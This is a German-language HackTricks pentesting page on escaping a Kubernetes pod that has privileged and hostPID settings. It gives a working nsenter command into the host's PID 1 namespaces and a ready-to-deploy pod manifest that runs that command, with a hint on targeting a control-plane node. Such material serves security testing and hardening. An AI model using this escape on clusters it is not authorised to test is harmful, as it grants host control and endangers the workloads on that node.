Pod Escape Privilegien

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Privilegiert und hostPID

Mit diesen Privilegien haben Sie Zugriff auf die Prozesse des Hosts und genug Privilegien, um in den Namespace eines der Hostprozesse einzutreten.
Beachten Sie, dass Sie möglicherweise nicht privilegiert sein müssen, sondern nur einige Fähigkeiten und andere potenzielle Abwehrmaßnahmen umgehen können (wie AppArmor und/oder Seccomp).

Wenn Sie etwas wie das Folgende ausführen, können Sie aus dem Pod entkommen:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Konfigurationsbeispiel:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command:
[
"nsenter",
"--target",
"1",
"--mount",
"--uts",
"--ipc",
"--net",
"--pid",
"--",
"bash",
]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks